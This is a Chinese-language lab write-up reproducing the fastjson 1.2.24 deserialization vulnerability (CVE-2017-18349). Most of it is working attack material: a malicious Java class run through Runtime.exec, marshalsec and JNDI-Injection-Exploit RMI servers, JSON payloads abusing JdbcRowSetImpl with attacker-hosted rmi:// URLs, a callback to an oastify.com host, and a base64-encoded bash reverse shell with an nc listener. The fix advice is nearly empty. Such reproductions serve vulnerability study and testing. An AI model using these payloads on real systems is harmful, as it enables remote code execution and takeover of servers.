fastjson_1.2.24_unserialize_CVE-2017-18349
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-18349 |
漏洞名称 | fastjson 1.2.24 反序列化漏洞 |
漏洞评级 | 高危 |
影响范围 | fastjson<=1.2.24 |
漏洞描述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链 |
修复方案 | 升级 打补丁 上设备 |
漏洞描述
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
漏洞等级
高危
影响版本
- fastjson<=1.2.24
漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | kali-linux |
Web Server | chrome |
fastjson | 1.2.24 |
漏洞扫描
使用FastjsonScan进行扫描
-
登录页面,进行抓包
-
修改请求方式为POST,将Content-Type改为application/json,并加上内容
{ "age":25, "name":"Bob" }
-
使用Fastjson进行扫描
-
扫描到漏洞,得到POC
漏洞验证
-
访问页面,可以看到json格式的输出,进行抓包
http://192.168.117.163:8090/
-
新建一个TouchFile.java
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
-
将java文件编译成class文件
javac TouchFile.java
-
使用python开启站点,浏览器尝试访问
python -m SimpleHTTPServer 1111 http://192.168.117.163:1111/
-
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
-
安装marshalsec和mvn
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests
-
运行marshalsec(需要进入到target目录)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.117.163:1111/#TouchFile" 9999
-
-
发送请求包,首先需要将GET包改为REQUEST,将Content-Type改为application/json,在后面加上语句
POST / HTTP/1.1 Host: 192.168.117.163:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: zbx_sessionid=49238ed3d29ae14f3a4d158dfa8c26cf; ADMINCONSOLESESSION=0SvVk3LQ3j5nxTC5CnGJnMLGrzhmhLLW2Lnj1SqsWp2fllTs7QMD!890617266; JSESSIONID=1xdky7y3pkyiai5bs4j5fz3rf Connection: close Content-Type: application/json Content-Length: 165 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.117.163:9999/TouchFile", "autoCommit":true } }
-
进入镜像查看tmp目录
sudo docker exec -it [容器id] /bin/bash
漏洞验证2
-
使用Fastjson scan得到的poc
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://8w5rathtihicu9qlbri5bu3shjn9by.oastify.com/aaa","autoCommit":true}}
-
使用JNDI-Injection-Exploit构造rmi服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cwc" -A "192.168.117.163"
-
在bp中发送rmi
"dataSourceName":"rmi://192.168.117.163:1099/nilycq",
-
进入容器内部,查看是否生成文件
udo docker exec -it 8 /bin/bash
深度利用
命令执行
- 将java文件中的{“touch”, “/tmp/success”};进行修改,编译成类,重复验证步骤,就可以做到命令执行
- 将工具中的命令修改,可以做到命令执行
GetShell
-
构造反弹Shell命令
bash -i >& /dev/tcp/192.168.117.163/3333 0>&1 //进行base64编码 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xNjMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}
-
kali中打开监听
nc -lnvp 3333
-
将启动工具的命令进行更改
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xNjMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.117.163"
-
使用生成的rmi或ldap进行测试
"dataSourceName":"rmi://192.168.117.163:1099/b79l7k",
-
反弹成功
漏洞挖掘
网络测绘
fastjson
修复建议
无